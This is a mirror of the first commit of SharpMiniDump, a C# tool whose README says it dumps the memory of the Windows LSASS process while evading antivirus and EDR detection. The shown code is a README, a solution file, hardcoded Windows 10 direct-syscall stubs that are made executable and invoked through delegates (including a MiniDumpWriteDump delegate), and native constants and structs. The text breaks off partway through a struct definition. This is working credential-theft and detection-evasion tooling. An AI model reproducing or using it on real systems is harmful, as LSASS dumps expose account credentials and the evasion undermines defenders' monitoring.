mirror of
https://github.com/b4rtik/SharpMiniDump
synced 2026-08-09 12:25:17 +00:00
First commit
This commit is contained in:
b4rtik
@@ -1,2 +1,10 @@
|
||||
# SharpMiniDump
|
||||
|
||||
Create a minidump of the LSASS process from memory (Windows 10 - Windows Server 2016). The entire process uses: dynamic API calls, direct syscall and Native API unhooking to evade the AV / EDR detection.
|
||||
|
||||
SharpMiniDump is a rough port of this project [Dumpert](https://github.com/outflanknl/Dumpert) by [@Cn33liz](https://twitter.com/Cneelis) and you will find the detail in this [post](https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/), so BIG credits to him.
|
||||
|
||||
Other credits go to [@cobbr_io](https://twitter.com/cobbr_io) and [@TheRealWover](https://twitter.com/TheRealWover) for their work on [SharpSploit](https://github.com/cobbr/SharpSploit) (Execution / DynamicInvoke)
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 15
|
||||
VisualStudioVersion = 15.0.28307.136
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpMiniDump", "SharpMiniDump\SharpMiniDump.csproj", "{6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Debug|x64 = Debug|x64
|
||||
Release|Any CPU = Release|Any CPU
|
||||
Release|x64 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F}.Debug|x64.Build.0 = Debug|x64
|
||||
{6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F}.Release|x64.ActiveCfg = Release|x64
|
||||
{6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F}.Release|x64.Build.0 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {C4236FC6-7C6F-413C-9583-2CF9548B531E}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,345 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security;
|
||||
using System.Text;
|
||||
using static SharpMiniDump.Natives;
|
||||
|
||||
namespace SharpMiniDump
|
||||
{
|
||||
class NativeSysCall
|
||||
{
|
||||
/// 0: 49 89 ca mov r10,rcx
|
||||
/// 3: b8 0f 00 00 00 mov eax,0x0f
|
||||
/// 8: 0f 05 syscall
|
||||
/// a: c3 ret
|
||||
|
||||
static byte[] bZwClose10 = { 0x49, 0x89, 0xCA, 0xB8, 0x0F, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };
|
||||
|
||||
/// 0: 49 89 ca mov r10,rcx
|
||||
/// 3: b8 0f 00 00 00 mov eax,0x3A
|
||||
/// 8: 0f 05 syscall
|
||||
/// a: c3 ret
|
||||
|
||||
static byte[] bZwWriteVirtualMemory10 = { 0x49, 0x89, 0xCA, 0xB8, 0x3A, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };
|
||||
|
||||
/// 0: 49 89 ca mov r10,rcx
|
||||
/// 3: b8 0f 00 00 00 mov eax,0x50
|
||||
/// 8: 0f 05 syscall
|
||||
/// a: c3 ret
|
||||
|
||||
static byte[] bZwProtectVirtualMemory10 = { 0x49, 0x89, 0xCA, 0xB8, 0x50, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };
|
||||
|
||||
/// 0: 49 89 ca mov r10,rcx
|
||||
/// 3: b8 0f 00 00 00 mov eax,0x36
|
||||
/// 8: 0f 05 syscall
|
||||
/// a: c3 ret
|
||||
|
||||
static byte[] bZwQuerySystemInformation10 = { 0x49, 0x89, 0xCA, 0xB8, 0x36, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };
|
||||
|
||||
/// 0: 49 89 ca mov r10,rcx
|
||||
/// 3: b8 0f 00 00 00 mov eax,0x18
|
||||
/// 8: 0f 05 syscall
|
||||
/// a: c3 ret
|
||||
|
||||
static byte[] bNtAllocateVirtualMemory10 = { 0x49, 0x89, 0xCA, 0xB8, 0x18, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };
|
||||
|
||||
/// 0: 49 89 ca mov r10,rcx
|
||||
/// 3: b8 0f 00 00 00 mov eax,0x1E
|
||||
/// 8: 0f 05 syscall
|
||||
/// a: c3 ret
|
||||
|
||||
static byte[] bNtFreeVirtualMemory10 = { 0x49, 0x89, 0xCA, 0xB8, 0x1E, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };
|
||||
|
||||
/// 0: 49 89 ca mov r10,rcx
|
||||
/// 3: b8 0f 00 00 00 mov eax,0x55
|
||||
/// 8: 0f 05 syscall
|
||||
/// a: c3 ret
|
||||
|
||||
static byte[] bNtCreateFile10 = { 0x49, 0x89, 0xCA, 0xB8, 0x55, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };
|
||||
|
||||
///0: 49 89 ca mov r10,rcx
|
||||
///3: b8 26 00 00 00 mov eax,0x26
|
||||
///8: 0f 05 syscall
|
||||
///a: c3 ret
|
||||
|
||||
static byte[] bZwOpenProcess10 = { 0x49, 0x89, 0xCA, 0xB8, 0x26, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 };
|
||||
|
||||
public static NTSTATUS ZwOpenProcess10(ref IntPtr hProcess, ProcessAccessFlags processAccess, OBJECT_ATTRIBUTES objAttribute, ref CLIENT_ID clientid)
|
||||
{
|
||||
byte[] syscall = bZwOpenProcess10;
|
||||
|
||||
unsafe
|
||||
{
|
||||
fixed (byte* ptr = syscall)
|
||||
{
|
||||
|
||||
IntPtr memoryAddress = (IntPtr)ptr;
|
||||
|
||||
if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
|
||||
(UIntPtr)syscall.Length, 0x40 , out uint oldprotect))
|
||||
{
|
||||
throw new Win32Exception();
|
||||
}
|
||||
|
||||
Delegates.ZwOpenProcess myAssemblyFunction = (Delegates.ZwOpenProcess)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwOpenProcess));
|
||||
|
||||
return (NTSTATUS)myAssemblyFunction(out hProcess, processAccess, objAttribute, ref clientid);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static NTSTATUS ZwClose10(IntPtr handle)
|
||||
{
|
||||
byte[] syscall = bZwClose10;
|
||||
|
||||
unsafe
|
||||
{
|
||||
fixed (byte* ptr = syscall)
|
||||
{
|
||||
|
||||
IntPtr memoryAddress = (IntPtr)ptr;
|
||||
|
||||
if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
|
||||
(UIntPtr)syscall.Length, 0x40, out uint oldprotect))
|
||||
{
|
||||
throw new Win32Exception();
|
||||
}
|
||||
|
||||
Delegates.ZwClose myAssemblyFunction = (Delegates.ZwClose)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwClose));
|
||||
|
||||
return (NTSTATUS)myAssemblyFunction(handle);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static NTSTATUS ZwWriteVirtualMemory10(IntPtr hProcess, ref IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten)
|
||||
{
|
||||
byte[] syscall = bZwWriteVirtualMemory10;
|
||||
|
||||
unsafe
|
||||
{
|
||||
fixed (byte* ptr = syscall)
|
||||
{
|
||||
|
||||
IntPtr memoryAddress = (IntPtr)ptr;
|
||||
|
||||
if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
|
||||
(UIntPtr)syscall.Length, 0x40, out uint oldprotect))
|
||||
{
|
||||
throw new Win32Exception();
|
||||
}
|
||||
|
||||
Delegates.ZwWriteVirtualMemory myAssemblyFunction = (Delegates.ZwWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwWriteVirtualMemory));
|
||||
|
||||
return (NTSTATUS)myAssemblyFunction(hProcess, lpBaseAddress, lpBuffer, nSize, ref lpNumberOfBytesWritten);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static NTSTATUS ZwProtectVirtualMemory10(IntPtr hProcess, ref IntPtr lpBaseAddress, ref uint NumberOfBytesToProtect, uint NewAccessProtection, ref uint lpNumberOfBytesWritten)
|
||||
{
|
||||
byte[] syscall = bZwProtectVirtualMemory10;
|
||||
|
||||
unsafe
|
||||
{
|
||||
fixed (byte* ptr = syscall)
|
||||
{
|
||||
|
||||
IntPtr memoryAddress = (IntPtr)ptr;
|
||||
|
||||
if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
|
||||
(UIntPtr)syscall.Length, 0x40, out uint oldprotect))
|
||||
{
|
||||
throw new Win32Exception();
|
||||
}
|
||||
|
||||
Delegates.ZwProtectVirtualMemory myAssemblyFunction = (Delegates.ZwProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwProtectVirtualMemory));
|
||||
|
||||
return (NTSTATUS)myAssemblyFunction(hProcess, ref lpBaseAddress, ref NumberOfBytesToProtect, NewAccessProtection, ref lpNumberOfBytesWritten);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static NTSTATUS ZwQuerySystemInformation10(SYSTEM_INFORMATION_CLASS SystemInformationClass, IntPtr SystemInformation, uint SystemInformationLength, ref uint ReturnLength)
|
||||
{
|
||||
byte[] syscall = bZwQuerySystemInformation10;
|
||||
|
||||
unsafe
|
||||
{
|
||||
fixed (byte* ptr = syscall)
|
||||
{
|
||||
|
||||
IntPtr memoryAddress = (IntPtr)ptr;
|
||||
|
||||
if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
|
||||
(UIntPtr)syscall.Length, 0x40, out uint oldprotect))
|
||||
{
|
||||
throw new Win32Exception();
|
||||
}
|
||||
|
||||
Delegates.ZwQuerySystemInformation myAssemblyFunction = (Delegates.ZwQuerySystemInformation)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwQuerySystemInformation));
|
||||
|
||||
return (NTSTATUS)myAssemblyFunction(SystemInformationClass, SystemInformation, SystemInformationLength, ref ReturnLength);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static NTSTATUS NtAllocateVirtualMemory10(IntPtr hProcess, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, ulong AllocationType, ulong Protect)
|
||||
{
|
||||
byte[] syscall = bNtAllocateVirtualMemory10;
|
||||
|
||||
unsafe
|
||||
{
|
||||
fixed (byte* ptr = syscall)
|
||||
{
|
||||
|
||||
IntPtr memoryAddress = (IntPtr)ptr;
|
||||
|
||||
if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
|
||||
(UIntPtr)syscall.Length, 0x40, out uint oldprotect))
|
||||
{
|
||||
throw new Win32Exception();
|
||||
}
|
||||
|
||||
Delegates.NtAllocateVirtualMemory myAssemblyFunction = (Delegates.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtAllocateVirtualMemory));
|
||||
|
||||
return (NTSTATUS)myAssemblyFunction(hProcess, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static NTSTATUS NtFreeVirtualMemory10(IntPtr hProcess, ref IntPtr BaseAddress, ref uint RegionSize, ulong FreeType)
|
||||
{
|
||||
byte[] syscall = bNtFreeVirtualMemory10;
|
||||
|
||||
unsafe
|
||||
{
|
||||
fixed (byte* ptr = syscall)
|
||||
{
|
||||
|
||||
IntPtr memoryAddress = (IntPtr)ptr;
|
||||
|
||||
if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
|
||||
(UIntPtr)syscall.Length, 0x40, out uint oldprotect))
|
||||
{
|
||||
throw new Win32Exception();
|
||||
}
|
||||
|
||||
Delegates.NtFreeVirtualMemory myAssemblyFunction = (Delegates.NtFreeVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtFreeVirtualMemory));
|
||||
|
||||
return (NTSTATUS)myAssemblyFunction(hProcess, ref BaseAddress, ref RegionSize, FreeType);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static NTSTATUS NtCreateFile10(out Microsoft.Win32.SafeHandles.SafeFileHandle fileHandle,
|
||||
Int32 desiredAccess,
|
||||
ref OBJECT_ATTRIBUTES objectAttributes,
|
||||
out IO_STATUS_BLOCK ioStatusBlock,
|
||||
ref Int64 allocationSize,
|
||||
UInt32 fileAttributes,
|
||||
System.IO.FileShare shareAccess,
|
||||
UInt32 createDisposition,
|
||||
UInt32 createOptions,
|
||||
IntPtr eaBuffer,
|
||||
UInt32 eaLength)
|
||||
{
|
||||
byte[] syscall = bNtCreateFile10;
|
||||
|
||||
unsafe
|
||||
{
|
||||
fixed (byte* ptr = syscall)
|
||||
{
|
||||
|
||||
IntPtr memoryAddress = (IntPtr)ptr;
|
||||
|
||||
if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
|
||||
(UIntPtr)syscall.Length, 0x40, out uint oldprotect))
|
||||
{
|
||||
throw new Win32Exception();
|
||||
}
|
||||
|
||||
Delegates.NtCreateFile myAssemblyFunction = (Delegates.NtCreateFile)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtCreateFile));
|
||||
|
||||
return (NTSTATUS)myAssemblyFunction(out fileHandle,
|
||||
desiredAccess,
|
||||
ref objectAttributes,
|
||||
out ioStatusBlock,
|
||||
ref allocationSize,
|
||||
fileAttributes,
|
||||
shareAccess,
|
||||
createDisposition,
|
||||
createOptions,
|
||||
eaBuffer,
|
||||
eaLength);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public struct Delegates
|
||||
{
|
||||
[SuppressUnmanagedCodeSecurity]
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
public delegate int ZwOpenProcess(out IntPtr hProcess, ProcessAccessFlags processAccess, OBJECT_ATTRIBUTES objAttribute, ref CLIENT_ID clientid);
|
||||
|
||||
[SuppressUnmanagedCodeSecurity]
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
public delegate int ZwClose(IntPtr handle);
|
||||
|
||||
[SuppressUnmanagedCodeSecurity]
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
public delegate int ZwWriteVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten);
|
||||
|
||||
[SuppressUnmanagedCodeSecurity]
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
public delegate int ZwProtectVirtualMemory(IntPtr hProcess, ref IntPtr lpBaseAddress, ref uint NumberOfBytesToProtect, uint NewAccessProtection, ref uint lpNumberOfBytesWritten);
|
||||
|
||||
[SuppressUnmanagedCodeSecurity]
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
public delegate int ZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, IntPtr SystemInformation, uint SystemInformationLength, ref uint ReturnLength);
|
||||
|
||||
[SuppressUnmanagedCodeSecurity]
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
public delegate int NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, ulong AllocationType, ulong Protect);
|
||||
|
||||
[SuppressUnmanagedCodeSecurity]
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
public delegate int NtFreeVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref uint RegionSize, ulong FreeType);
|
||||
|
||||
[SuppressUnmanagedCodeSecurity]
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
public delegate int NtCreateFile(out Microsoft.Win32.SafeHandles.SafeFileHandle fileHandle,
|
||||
Int32 desiredAccess,
|
||||
ref OBJECT_ATTRIBUTES objectAttributes,
|
||||
out IO_STATUS_BLOCK ioStatusBlock,
|
||||
ref Int64 allocationSize,
|
||||
UInt32 fileAttributes,
|
||||
System.IO.FileShare shareAccess,
|
||||
UInt32 createDisposition,
|
||||
UInt32 createOptions,
|
||||
IntPtr eaBuffer,
|
||||
UInt32 eaLength);
|
||||
|
||||
[SuppressUnmanagedCodeSecurity]
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
public delegate bool RtlEqualUnicodeString(UNICODE_STRING String1, UNICODE_STRING String2, bool CaseInSensitive);
|
||||
|
||||
[SuppressUnmanagedCodeSecurity]
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
public delegate bool RtlGetVersion(ref OSVERSIONINFOEXW lpVersionInformation);
|
||||
|
||||
[SuppressUnmanagedCodeSecurity]
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
public delegate bool RtlInitUnicodeString(ref UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString);
|
||||
|
||||
[SuppressUnmanagedCodeSecurity]
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
public delegate bool MiniDumpWriteDump(IntPtr hProcess, uint ProcessId, Microsoft.Win32.SafeHandles.SafeFileHandle hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,842 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace SharpMiniDump
|
||||
{
|
||||
class Natives
|
||||
{
|
||||
public const int FILE_READ_DATA = 0x0001; // file & pipe
|
||||
public const int FILE_LIST_DIRECTORY = 0x0001; // directory
|
||||
public const int FILE_WRITE_DATA = 0x0002; // file & pipe
|
||||
public const int FILE_ADD_FILE = 0x0002; // directory
|
||||
public const int FILE_APPEND_DATA = 0x0004; // file
|
||||
public const int FILE_ADD_SUBDIRECTORY = 0x0004; // directory
|
||||
public const int FILE_CREATE_PIPE_INSTANCE = 0x0004; // named pipe
|
||||
public const int FILE_READ_EA = 0x0008; // file & directory
|
||||
public const int FILE_WRITE_EA = 0x0010; // file & directory
|
||||
public const int FILE_EXECUTE = 0x0020; // file
|
||||
public const int FILE_TRAVERSE = 0x0020; // directory
|
||||
public const int FILE_DELETE_CHILD = 0x0040; // directory
|
||||
public const int FILE_READ_ATTRIBUTES = 0x0080; // all
|
||||
public const int FILE_WRITE_ATTRIBUTES = 0x0100; // all
|
||||
public const int FILE_OVERWRITE_IF = 0x00000005;
|
||||
public const int FILE_SYNCHRONOUS_IO_NONALERT = 0x00000020;
|
||||
|
||||
public const long READ_CONTROL = 0x00020000;
|
||||
public const long SYNCHRONIZE = 0x00100000;
|
||||
public const long STANDARD_RIGHTS_WRITE = READ_CONTROL;
|
||||
public const long STANDARD_RIGHTS_EXECUTE = READ_CONTROL;
|
||||
public const long STANDARD_RIGHTS_ALL = 0x001F0000;
|
||||
|
||||
public const long SPECIFIC_RIGHTS_ALL = 0x0000FFFF;
|
||||
public const long FILE_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1FF;
|
||||
|
||||
public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;
|
||||
public const UInt32 STANDARD_RIGHTS_READ = 0x00020000;
|
||||
public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;
|
||||
public const UInt32 TOKEN_DUPLICATE = 0x0002;
|
||||
public const UInt32 TOKEN_IMPERSONATE = 0x0004;
|
||||
public const UInt32 TOKEN_QUERY = 0x0008;
|
||||
public const UInt32 TOKEN_QUERY_SOURCE = 0x0010;
|
||||
public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020;
|
||||
public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;
|
||||
public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;
|
||||
public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;
|
||||
public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);
|
||||
public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
|
||||
TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
|
||||
TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
|
||||
TOKEN_ADJUST_SESSIONID);
|
||||
public const UInt32 TOKEN_ALT = (TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY);
|
||||
|
||||
public const UInt32 SE_PRIVILEGE_ENABLED = 0x2;
|
||||
|
||||
public const long FILE_GENERIC_READ = STANDARD_RIGHTS_READ |
|
||||
FILE_READ_DATA |
|
||||
FILE_READ_ATTRIBUTES |
|
||||
FILE_READ_EA |
|
||||
SYNCHRONIZE;
|
||||
|
||||
public const long FILE_GENERIC_WRITE = STANDARD_RIGHTS_WRITE |
|
||||
FILE_WRITE_DATA |
|
||||
FILE_WRITE_ATTRIBUTES |
|
||||
FILE_WRITE_EA |
|
||||
FILE_APPEND_DATA |
|
||||
SYNCHRONIZE;
|
||||
|
||||
public const long FILE_GENERIC_EXECUTE = STANDARD_RIGHTS_EXECUTE |
|
||||
FILE_READ_ATTRIBUTES |
|
||||
FILE_EXECUTE |
|
||||
SYNCHRONIZE;
|
||||
|
||||
public const int FILE_SHARE_READ = 0x00000001;
|
||||
public const int FILE_SHARE_WRITE = 0x00000002;
|
||||
public const int FILE_SHARE_DELETE = 0x00000004;
|
||||
public const int FILE_ATTRIBUTE_READONLY = 0x00000001;
|
||||
public const int FILE_ATTRIBUTE_HIDDEN = 0x00000002;
|
||||
public const int FILE_ATTRIBUTE_SYSTEM = 0x00000004;
|
||||
public const int FILE_ATTRIBUTE_DIRECTORY = 0x00000010;
|
||||
public const int FILE_ATTRIBUTE_ARCHIVE = 0x00000020;
|
||||
public const int FILE_ATTRIBUTE_DEVICE = 0x00000040;
|
||||
public const int FILE_ATTRIBUTE_NORMAL = 0x00000080;
|
||||
public const int FILE_ATTRIBUTE_TEMPORARY = 0x00000100;
|
||||
public const int FILE_ATTRIBUTE_SPARSE_FILE = 0x00000200;
|
||||
public const int FILE_ATTRIBUTE_REPARSE_POINT = 0x00000400;
|
||||
public const int FILE_ATTRIBUTE_COMPRESSED = 0x00000800;
|
||||
public const int FILE_ATTRIBUTE_OFFLINE = 0x00001000;
|
||||
public const int FILE_ATTRIBUTE_NOT_CONTENT_INDEXED = 0x00002000;
|
||||
public const int FILE_ATTRIBUTE_ENCRYPTED = 0x00004000;
|
||||
public const int FILE_NOTIFY_CHANGE_FILE_NAME = 0x00000001;
|
||||
public const int FILE_NOTIFY_CHANGE_DIR_NAME = 0x00000002;
|
||||
public const int FILE_NOTIFY_CHANGE_ATTRIBUTES = 0x00000004;
|
||||
public const int FILE_NOTIFY_CHANGE_SIZE = 0x00000008;
|
||||
public const int FILE_NOTIFY_CHANGE_LAST_WRITE = 0x00000010;
|
||||
public const int FILE_NOTIFY_CHANGE_LAST_ACCESS = 0x00000020;
|
||||
public const int FILE_NOTIFY_CHANGE_CREATION = 0x00000040;
|
||||
public const int FILE_NOTIFY_CHANGE_SECURITY = 0x00000100;
|
||||
public const int FILE_ACTION_ADDED = 0x00000001;
|
||||
public const int FILE_ACTION_REMOVED = 0x00000002;
|
||||
public const int FILE_ACTION_MODIFIED = 0x00000003;
|
||||
public const int FILE_ACTION_RENAMED_OLD_NAME = 0x00000004;
|
||||
public const int FILE_ACTION_RENAMED_NEW_NAME = 0x00000005;
|
||||
public const int MAILSLOT_NO_MESSAGE = -1;
|
||||
public const int MAILSLOT_WAIT_FOREVER = -1;
|
||||
public const int FILE_CASE_SENSITIVE_SEARCH = 0x00000001;
|
||||
public const int FILE_CASE_PRESERVED_NAMES = 0x00000002;
|
||||
public const int FILE_UNICODE_ON_DISK = 0x00000004;
|
||||
public const int FILE_PERSISTENT_ACLS = 0x00000008;
|
||||
public const int FILE_FILE_COMPRESSION = 0x00000010;
|
||||
public const int FILE_VOLUME_QUOTAS = 0x00000020;
|
||||
public const int FILE_SUPPORTS_SPARSE_FILES = 0x00000040;
|
||||
public const int FILE_SUPPORTS_REPARSE_POINTS = 0x00000080;
|
||||
public const int FILE_SUPPORTS_REMOTE_STORAGE = 0x00000100;
|
||||
public const int FILE_VOLUME_IS_COMPRESSED = 0x00008000;
|
||||
public const int FILE_SUPPORTS_OBJECT_IDS = 0x00010000;
|
||||
public const int FILE_SUPPORTS_ENCRYPTION = 0x00020000;
|
||||
public const int FILE_NAMED_STREAMS = 0x00040000;
|
||||
public const int FILE_READ_ONLY_VOLUME = 0x00080000;
|
||||
public const int CREATE_ALWAYS = 2;
|
||||
|
||||
public struct WIN_VER_INFO
|
||||
{
|
||||
public string chOSMajorMinor;
|
||||
public long dwBuildNumber;
|
||||
public UNICODE_STRING ProcName;
|
||||
public IntPtr hTargetPID;
|
||||
public string lpApiCall;
|
||||
public int SystemCall;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
public struct OSVERSIONINFOEXW
|
||||
{
|
||||
public int dwOSVersionInfoSize;
|
||||
public int dwMajorVersion;
|
||||
public int dwMinorVersion;
|
||||
public int dwBuildNumber;
|
||||
public int dwPlatformId;
|
||||
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
|
||||
public string szCSDVersion;
|
||||
public UInt16 wServicePackMajor;
|
||||
public UInt16 wServicePackMinor;
|
||||
public UInt16 wSuiteMask;
|
||||
public byte wProductType;
|
||||
public byte wReserved;
|
||||
}
|
||||
|
||||
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct LARGE_INTEGER
|
||||
{
|
||||
public UInt32 LowPart;
|
||||
public UInt32 HighPart;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct UNICODE_STRING
|
||||
{
|
||||
public UInt16 Length;
|
||||
public UInt16 MaximumLength;
|
||||
public IntPtr Buffer;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SYSTEM_PROCESSES
|
||||
{
|
||||
public int NextEntryOffset;
|
||||
public int NumberOfThreads;
|
||||
public LARGE_INTEGER WorkingSetPrivateSize;
|
||||
public uint HardFaultCount;
|
||||
public uint NumberOfThreadsHighWatermark;
|
||||
public ulong CycleTime;
|
||||
public long CreateTime;
|
||||
public long UserTime;
|
||||
public long KernelTime;
|
||||
public UNICODE_STRING ImageName;
|
||||
public int BasePriority;
|
||||
public IntPtr UniqueProcessId;
|
||||
public IntPtr InheritedFromUniqueProcessId;
|
||||
public int HandleCount;
|
||||
public int SessionId;
|
||||
public IntPtr UniqueProcessKey;
|
||||
public IntPtr PeakVirtualSize;
|
||||
public IntPtr VirtualSize;
|
||||
public uint PageFaultCount;
|
||||
public IntPtr PeakWorkingSetSize;
|
||||
public IntPtr WorkingSetSize;
|
||||
public IntPtr QuotaPeakPagedPoolUsage;
|
||||
public IntPtr QuotaPagedPoolUsage;
|
||||
public IntPtr QuotaPeakNonPagedPoolUsage;
|
||||
public IntPtr QuotaNonPagedPoolUsage;
|
||||
public IntPtr PagefileUsage;
|
||||
public IntPtr PeakPagefileUsage;
|
||||
public IntPtr PrivatePageCount;
|
||||
public LARGE_INTEGER ReadOperationCount;
|
||||
public LARGE_INTEGER WriteOperationCount;
|
||||
public LARGE_INTEGER OtherOperationCount;
|
||||
public LARGE_INTEGER ReadTransferCount;
|
||||
public LARGE_INTEGER WriteTransferCount;
|
||||
public LARGE_INTEGER OtherTransferCount;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct LUID_AND_ATTRIBUTES
|
||||
{
|
||||
public LUID Luid;
|
||||
public UInt32 Attributes;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct LUID
|
||||
{
|
||||
public UInt32 LowPart;
|
||||
public UInt32 HighPart;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct TOKEN_PRIVILEGES
